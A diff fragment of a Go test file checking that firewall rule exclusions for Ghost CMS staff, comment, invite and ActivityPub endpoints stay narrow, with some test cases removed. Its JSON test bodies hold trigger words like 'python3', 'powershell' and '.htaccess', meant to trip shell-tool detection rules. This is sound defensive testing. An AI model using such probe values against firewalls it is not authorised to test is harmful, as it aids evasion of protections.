}
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
t.Parallel()
@@ -897,24 +731,20 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
}
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
// fields that 900370 to 900381 name, as TestGhostExclusionsAreNarrow checks
// fields that 900370 to 900378 name, as TestGhostExclusionsAreNarrow checks
// the others: each keeps its rules on another path, and when the query has
// a field of the same name.
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const (
bio = `{"users":[{"bio":"python3"}]}`
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
content = `{"content":"python3"}`
altText = `{"image":{"altText":"python3"}}`
accountBio = `{"bio":"python3"}`
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
targetHandle = `{"targetHandle":"@powershell@example.com"}`
domain = `{"domain":"python3.example.com"}`
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
bio = `{"users":[{"bio":"python3"}]}`
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
content = `{"content":"python3"}`
accountBio = `{"bio":"python3"}`
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
)
for _, refused := range []struct{ target, body string }{
@@ -925,20 +755,12 @@ func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
{ghostComments + "?json.comments.0.html=x", comment},
{ghostAccount, content},
{ghostNote + "?json.content=x", content},
{ghostAccount, altText},
{ghostNote + "?json.image.altText=x", altText},
{ghostNote, accountBio},
{ghostAccount + "?json.bio=x", accountBio},
{ghostPosts, invited},
{ghostInvites + "?json.invites.0.email=x", invited},
{ghostInvites, accepted},
{ghostInvitation + "?json.invitation.0.email=x", accepted},
{ghostMigration, sourceHandle},
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
{ghostAliases, targetHandle},
{ghostMigration + "?json.targetHandle=x", targetHandle},
{ghostAccount, domain},
{ghostDomain + "?json.domain=x", domain},
{ghostPosts, tagCode},
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
} {